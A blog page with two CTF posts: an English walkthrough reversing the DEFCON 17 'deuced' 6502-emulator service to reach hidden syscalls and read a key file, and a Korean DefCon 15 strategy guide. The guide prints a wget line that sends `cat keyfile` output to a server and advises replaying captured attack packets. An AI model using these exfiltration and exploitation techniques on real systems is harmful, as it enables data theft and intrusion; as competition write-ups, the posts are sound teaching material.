2009년 8월 8일 토요일

DEFCON17 CTF deuced solution

This is the solution of DEFCON17 CTF deuce(deuced) problem.

You cannot use this article for any commercial purpose without writer's permission. You can use this article for non-commercial purpose only with the source.

First of all, Open the binary with IDA-Pro and follow the flow. deuced calls '_recv' for 4 bytes and the received 4-byte-data is the size of following data. if I send '\x00000001', then the following data should be 1 byte long. Next, deuced calls '_malloc' to allocate buffer with the received size to contain following data and calls '_recv' again to do receive data.

After receiving data, 'dup2' is called 3 times to duplicate the socket descriptor. After 3 'dup2' calls, file descriptor 0,1 and 2 become socket descriptor. Don't care about '_close' call. It closes the socket descriptor, but we can use file descriptor 0,1 and 2 as the socket descriptor to read or write through the opened socket. We'll use the descriptor 0.

[pic 1 : dup2 is called 3 times]

Let's follow sub_8048E80 -> sub_8048E30. Here global variable 0x80519A0 appears for the first time. The received data is copied to 0x80519A0.

[pic 2 : Received data is copied to 0x80519A0]

Go back to [pic 1] and follow the next call, sub_8049000. Parameter is a pointer of global variable. It seems like setting global variables. I'll mention sub_8049000 again. Let's pass the next call, sub_8049200.

The parameter of sub_8049200 is also the global variable passed to sub_8049000. And when enter the sub_8049200, IDA will show us a very strange graph.

[pic 3 : (click to enlarge) OH MY GOD!!! TOO MANY BRANCHES!!!]

Each small box is a code branch. There are too many branches to be analyzed by human being. I think a monster can. We tried to search somewhere vulnarable, but it was a waste of time. We don't need to analyze everything by ourselves. Because we have very strong tool, IDA-Pro. Don't care about anything and just open 'Strings' tab.

[pic 4 : Strings window]

We can see the string, '[M6502 %lX] Unrecognized instruction: $%02X at PC=$%04X\n'. We tried to google that string, and found a source code about something!

source code : download (http://fms.komkon.org/EMUL8/)
assembly list : link

deuced is the binary built with M6502 source code. We can label sub-functions above using the source code.

[pic 5 : Labeled [pic 1]]

In 'Codes.h' of M6502 source code, there are many macros. We can find Rd6502, Wr6502 and Op6502 by following macros. We can label those functions, too. For instance, ROR (Rotate Right) instruction use all of Op6502, Rd6502 and Wr6502.

[pic 6 : A part of many cases. Macros are used very often]

And there is an interesting part in the source code.

#define M_PUSH(Rg)    Wr6502(0x0100|R->S,Rg);R->S--
#define M_POP(Rg)     R->S++;Rg=Op6502(0x0100|R->S)

Above push/pop implementation means that stack section is only 256 bytes size from 0x0100 to 0x01FF and R->S is the stack pointer.

If you looked at Rd6502 and Wr6502 very well, you won't miss that the data section is only 65536 bytes size from 0x0000 to 0xFFFF. Stack section is a part of data section. So the memory structure is like following.

[pic 7 : M6502 Memory area]

Do you remember the address 0x80519A0? It's the address the received data is copied to.

OK. Let's go back to [pic 6]. We can see every branch in 'Codes.h'. but we don't need to look into every branch there. Just go into the function Op6502 (sub_8048BF0). Then we can see some strange branches.

[pic 8 : Inside Op6502]

We can reach to the [jmp eax] instruction with some condition satisfied. First, the parameter of Op6502 must be 0xFFF0. Second, some data relative to 0x80517A0 must be 0x80, And last, the first 1 byte of R must less than or equal to 6. Then, we can jump to somewhere.

(gdb) x/7w 0x804FDF8
0x804fdf8:      0x08048dc1      0x08048c72      0x08048dc1      0x08048c9a
0x804fe08:      0x08048cf3      0x08048d49      0x08048d9e
(gdb)

When eax is 0 or 2, it just jump to the end of Op6502. Then, let's disassemble 0x8048c72.

*** Caution : The disassembled code of gdb is not like one of IDA-Pro. In binary operations, the order of two parameters are different from each other. ***

where eax == 1 : exit
(gdb) x/100i 0x8048c72
0x8048c72:      movzwl 0xfffffff4(%ebp),%eax

0x8048c76:      movzbl 0x80517a0(%eax),%eax
0x8048c7d:      movzbl %al,%eax
0x8048c80:      mov    %eax,0x4(%esp)
0x8048c84:      movl   $0x1,(%esp)
0x8048c8b:      call   0x8048b60
0x8048c90:      mov    %al,0x8051760
0x8048c95:      jmp    0x8048dc1

(gdb) x/100i 0x8048b60
0x8048b60:      pop    %ecx
0x8048b61:      pop    %eax
0x8048b62:      push   %ecx
0x8048b63:      int    $0x80
0x8048b65:      pushl  (%esp)
0x8048b68:      ret

Wow! interrupt 0x80 means calling a systemcall. If we can make the input data to satisfy the condition, we can execute systemcalls! Of course in this case, available systemcall number is 1.

Let's look at every available systemcall.

syscall 3 : read


syscall 4 : write


syscall 5 : open


syscall 6 : close


There are two kinds of data read. One is loading data. And another is loading pointer.
0x8048b70 and 0x8048b90 are them.

And we can see a pattern like this.

0x8048c9a:      movzwl 0xfffffff4(%ebp),%eax
0x8048c9e:      add    $0x3,%eax
0x8048ca1:      movzwl %ax,%eax
0x8048ca4:      mov    %eax,(%esp)
0x8048ca7:      call   0x8048b70
0x8048cac:      movzwl %ax,%ebx

You have not enough information about this pattern. The only thing you should know about this is 'what is at 0xFFFFFFF4(%ebp)?'. Go back and look at the second top box of [pic 8]. There is something about 0x0104. That value is there.

read 2-byte-long data at (data_section + offset)


read 2-byte-long pointer at (data_section + offset)


It took very long time to prepare attacking. Now it's the time to make an attack code.

Let's execute 'open' systemcall. Final conditions to execute 'open' systemcall are following.

1. 2-byte-data at (data_section + stack pointer + 0x0106) will become the third parameter of 'open' systemcall, but it's not necessary. Just fill 0.
2. 2-byte-data at (data_section + stack pointer + 0x0108) should be 0 (O_RDONLY) or something including read permission.
3. 2-byte-pointer at (data_section + stack pointer + 0x010A) should point the string 'key'.

I'll design the stack like this and set R->S (stack pointer) 0.

0x80518a0 : 0x80    0x21    0x14    0x01    0x0c    0x01    0x00    0x00
0x80518a8 : 0x00    0x00    0x0c    0x01    0x6b    0x65    0x79    0x00
0x80518b0 : 0x80    0x80    0x80    0x80    0x80    0x80    0x80    0x80
0x80518b8 : 0x80    0x80    0x80    0x80    0x80    0x80    0x80    0x80
0x80518c0 : 0x80    ...

The violet data describes the third parameter. It has no special meaning. The blue one describes the second parameter, and the red one describes the first parameter. As we see, the green data at (data_section + stack pointer + 0x010C) is 'key\0'.

Rest of data is filled with 0x80 to make (data_section + stack pointer + (gray data value - 1)) points always '0x80'. I cannot control the whole data of gray data because it's a part of return address. We need to the code length should be longer than 0x1400.

Return address? What's that?
We should execute open-read-write with one packet. So we should design subroutines. Remember that M6502 supports subroutine and it's able with JSR(Jump to Subroutine) and RTS(Return from Subroutine). Of course in this case we are trying to execute only 'open' systemcall, so we don't need to consider the return address. But doing this now will help the real attack.

So the code to execute 'open' systemcall is like this.

python code


Executing 'read' systemcall and 'write' systemcall are a little more difficult than executing 'open' systemcall because of the offsets of parameters. If you want to know exactly, you can revisit above 'systemcall 3 : read' and 'systemcall 4 : write'.

Finally, the final exploit codes are below.

steal.py (python code)


deface.py (python code)


In deface.py, there is a wrong value somewhere. Of course it works but the overwritten key file might not be like what we put.

It was very hard time to analyze deuced and to make the attack code. But the last day, we finally breakthrough the deuced!!!

I hope this helps the hackers preparing DEFCON CTF.

Thank you for reading very long article.

*** I think code highlighting is not supported yet. I'll correct as soon as it's supported. ***

written by proXima, a member of PLUS@postech team.

2009년 6월 9일 화요일

DefCon 15 CTF 분석

벌써 2년이나 지난 이야기이지만...
후배들이 이번 DefCon CTF 17 본선에 진출하게 되어,
조금이라도 도움이 될까 하여 기억나는대로 적어본다.


1. 환경

architecture는 어떻게 구성되는지 잘 모르겠지만 OS는 항상 공짜 OS 환경이라고 한다. 2006년 DefCon 14 CTF에서는 x86 architecture에서의 solaris였다고 하고, 2007년 DefCon 15 CTF에서는 x86 architecture에서의 FreeBSD 환경이었다.

경기장에는 팀 수만큼의 테이블이 세팅되어 있으며, 그 테이블에서 동시에 작업할 수 있는 사람은 팀당 8명으로 제한되어 있었다. 랜으로 연결된 경우에만 공격이 가능하기 때문에 테이블에 앉아있지 않은 사람들은 바이너리를 가지고 분석만을 할 수 있었다. 테이블에 앉아있는 사람이 휴식이 필요한 경우나, 테이블 밖에 있는 사람이 뭔가를 발견했을 때에는 서로 rotate하며 작업을 진행했었다.

진행하는 사람들도 가운데에 따로 테이블을 가지고 있었기 때문에, 혹시 의아한 부분이 있으면 직접 질문을 할 수도 있었다. 물론 영어로만...
실제로 ftp 관련 문제에 대해서 뭔가 이상하다고 질문을 해서 답을 들은 적이 있었다.

공격과 인증 등은 모두 내부망을 통해서만 가능했다. 내부망은 각 팀별로 정해진 ip대역을 사용할 수 있도록 설정되어 있었다. 내부망은 외부 인터넷과는 직접 연결되어 있지 않았으므로 인터넷을 해야 할 필요가 있을 경우는 가까운 AP에서 잡히는 무선인터넷을 이용하여야 했다. 대회장 내부에서 무선인터넷을 잡을 수 있었는지는 잘 기억나지 않는다. 하지만 대회장 바로 옆방에는 무선 인터넷을 잡을 수 있도록 AP가 준비되어 있었기 때문에 그곳에서 필요한 정보들을 찾을 수는 있었다.

DefCon 15 CTF에서는 예선을 통과한 7개 팀과 DefCon 14 CTF의 우승팀인 l@stPlace 까지 하여 총 8개 팀이 서로 공격과 방어를 진행하도록 되어 있었다. 한가지 취약점을 발견하면 총 7개의 서버를 공격할 수 있게 되는 것이었다. DefCon 17 CTF는 총 10팀이 참가하는 것으로 알고 있으므로, 하나의 취약점을 발견하게 되면 총 9개의 서버를 공격할 수 있으므로 점수를 더 많이 획득할 수 있을 것으로 기대된다.

또한, 실제로 공격과 방어를 통해 점수를 획득할 수 있는 것은 경기중에만 가능했다. 경기는 3일간 오전부터 저녁까지 진행되었으며, 저녁에 경기가 중단되었을 때에는 점수를 획득하는 것은 불가능했다. 왜냐면 네트워크가 연결되어 있어야만 공격을 통해 점수를 획득할 수 있지만, 경기가 중단될 때에는 네트워크와 서버를 내려버려서 실제 공격을 할 수 없기 때문이다. 하지만 바이너리는 계속 분석할 수 있으므로 경기가 중지된 저녁~새벽 시간에 얼마나 많은 취약점을 알아내는가도 중요한 관건이라고 할 수 있다.


2. 문제 형태

문제의 형태는 대부분 reverse engineering을 통해 취약점(BOF, FSB등)을 알아낸 뒤, remote attack을 통해 공격하는 형태였다.

각 daemon들은 각각의 계정으로 동작했으며, 그 daemon의 취약점을 뚫고 들어가면 그 계정의 권한으로 내가 원하는 코드를 실행시킬 수 있었다. 그리고 각각의 계정별로 key 파일을 home디렉토리에 가지고 있었는데, 그 key파일이 점수를 획득하는 데에 핵심이 되는 것이었다.

daemon들은 listen을 하고 있다가 accept 되는 순간 fork 하여 따로 프로세스를 만들어 동작하도록 되어 있기 때문에 공격에 의해 segmentation fault가 발생하더라도 fork된 child process만 죽는 것이므로 parent process로 서비스를 지속시킬 수 있었다.

shared object를 dynamic link한 binary의 경우는 import한 function들의 symbol을 확인할 수 있었지만, static link만으로 만들어진 binary의 경우는 library 내부 코드까지 binary에 같이 들어있기 때문에 symbol이 없어 분석하는 데에 더 어려웠다.


3. 점수 따기

점수는 세가지 방법을 통해 획득할 수 있었다.
첫번째는 breakthrough, 두번째는 steal, 마지막 세번째는 overwrite이었다.

breakthrough는 그 문제를 제일 먼저 풀어낸 두 팀에게 주어지는 점수였다. 점수가 어느 정도였는지는 잘 기억이 나지 않는다.

나머지는 key 파일과 관련이 있는데, 일단 remote attack을 통해 취약점이 있는 daemon을 뚫고 들어가면 그 daemon의 권한으로 그 디렉토리 내에 있는 key 파일에 access할 수 있었다.

각 key 파일은 일정 시간마다 새로 바뀌었고, 중앙서버로부터 얻을 수 있는 우리팀의 key값이 따로 있었는데, 그 key값도 그때마다 변경되었다.

상대방 서버의 key값을 읽어다가 중앙 웹서버에 전송하면 steal 점수를 얻을 수 있었고, 중앙 웹서버에서 얻을 수 있는 우리팀의 key값을 그 파일에 덮어씌우면 overwrite 점수를 얻는 것이었다.

최종적인 점수는 breakthrough와 steal, overwrite 점수의 합산 * SLA로 계산되었다.
breakthrough와 steal, overwrite의 점수는 각각 얼마씩이었는지 잘 기억이 나지 않는다.
참고로 DefCon 15 CTF의 본선대회가 끝난 시점에서는 우리 팀의 SLA가 가장 높았었다.
SLA에 대해서는 아래에 설명이 있다.


4. 방어하기

각 daemon들의 binary를 수정하여 방어를 할 수도 있었다. 단, 소스코드가 주어지지 않았으므로 binary를 직접 patch하는 형태로만 수정할 수 있었다.
단, patch를 위해 서비스를 내려놓으면 SLA(Service Level Agreement???)가 깎였는데, SLA가 낮아지면 전체 점수에 영향이 있었으므로, service를 중지하는 시간은 최소화 하도록 하였다.

또한, 정상적인 service가 불가능할 정도로 패치를 해버리면 역시나 시간에 따라 SLA가 깎이므로 주의하도록 한다.

실제로 daemon들은 interactive한 game이나, 주문을 받는다거나 뭐 그런 프로그램들이었기 때문에, 여러번의 입력을 받도록 되어 있었고, 그 결과가 제대로 나왔어야 했다. 한번 패치를 잘못해서 버퍼 크기를 너무 많이 줄이는 바람에 SLA가 좀 깎였던 기억이 있다.


5. 네트워크

네트워크를 감시하는 사람이 하나 또는 둘 정도는 있어야 한다고 생각한다. 왜냐면 상대방에게서 날아온 공격패킷을 분석하여 어느 부분이 취약한지를 알아낼 수 있기 때문이다. 예를 들어 날아온 패킷의 내부에 /bin/sh 이라는 문자열이 포함되어있다는 것을 발견하면, 그 패킷을 그대로 다른 서버로 보냈을 경우 쉘을 따낼 수도 있다.

일단 어떤 포트로 패킷이 날아갔는지를 확인하면 어떤 데몬에 bind된 포트인지 찾아서 패킷에 실린 데이터를 직접 그대로 입력하면서 취약점을 찾아낼 수도 있다. 굳이 disassemble하면서 찾아야 할 필요가 없는 것이다. 하지만 이 방법은 한계가 있다. 분명 제일 먼저 풀어낸 팀보다는 점수를 많이 얻을 수가 없다. 대부분의 경우 취약점을 확인하면, 공격패킷을 작성하는 동안 다른 사람들은 패치를 준비하기 때문에, 처음에 공격패킷을 보낸 팀의 서버는 공격하지 못하게 될 가능성이 높기 때문이다.

하지만 더미패킷같은 것들을 마구 뿌리게 되면 어떤 패킷이 실제로 공격 가능한 패킷인지 알아내기 힘들어진다. 때문에 여유가 있다면 공격패킷을 작성하는 동안 더미패킷들도 같이 작성하여 다른 팀들이 패킷을 분석하기 힘들게 하면 더욱 좋다.


6. 잡다한 팁

처음에는 잘 몰라서 일단 쉘을 띄우고 수동으로 키 파일을 열어 웹페이지에 붙여넣고 전송하는 형태로 steal 점수를 얻었다.
물론 overwrite의 경우도 마찬가지로 수동으로 진행하고 있었는데, 수동으로 작업하는 것은 상당히 비효율적인 작업이었다. 분석을 해야 할 사람 하나가 줄어드는 것이었는데다가, 자동 스크립트보다 빠를리도 없었기 때문이다.

때문에 공격의 대부분은 wget과 cat을 이용하여 웹서버에 자동으로 전송하는 형태로 진행되었다.
예를 들어 다음과 같은 코드를 실행하도록 쉘코드를 작성하는 것이다.

$ wget http://중앙서버주소/team1/aaa.php?key=`cat keyfile`

그리고 이 쉘코드를 포함한 공격코드를 스크립트로 몇 초에 한 번씩 모든 공격대상 서버에 계속 쏘게 만들었다.

그렇기 때문에 cat과 wget을 다른 디렉토리로 옮겨놓고, 다른 계정권한으로는 access할 수 없도록 따로 설정을 해 두면 좋다. 그렇게 하면 cat과 wget을 이용하여 공격을 해야 하는 상대방들은 다른 프로그램을 사용하거나 더 복잡한 공격코드를 작성해야 한다.

상대방도 물론 그런 형태로 방어를 할 수 있기 때문에, 애초에 system call을 직접 이용한 공격코드를 만들어 가는 것이 좋다.
문제는 어떤 architecture와 어떤 OS가 선택될 지를 모르기 때문에, 다양한 환경에서의 코드를 만들어 두어야 한다는 것이다.
얼핏 기억하기로는 architecture는 항상 x86이라는 얘기가 있었던 것 같기도 하다.

하지만 버퍼의 크기가 제한이 있는 경우가 있으므로 최대한 작은 크기의 쉘코드를 작성하는 것도 중요하다.

FreeBSD에서의 system call 번호와 linux에서의 system call 번호가 다른데, IDA-pro로 분석할 경우에는 system call 번호가 linux에서의 system call 로 매칭되어 나오기 때문에, syscall 헤더파일을 항상 열어놓고 실제로 매칭시켜보며 분석을 진행하였다.

그리고 어떤 문제가 breakthrough 됐는지를 체크해 두는 것도 중요하다. 따로 알 수가 없고, breakthrough가 발생했을 때 대형스크린에 어떤 팀이 어떤 문제를 breakthrough 했는지 메시지가 뜨고 끝이었다. 실제로 DefCon 15 CTF에서, 아직 breakthrough 점수를 얻을 수 있는 문제라고 생각하고 밤새 풀어내어 다음날 시작하자마자 공격을 시작했을 때 breakthrough가 뜨지 않은 경우도 있었기 때문이다.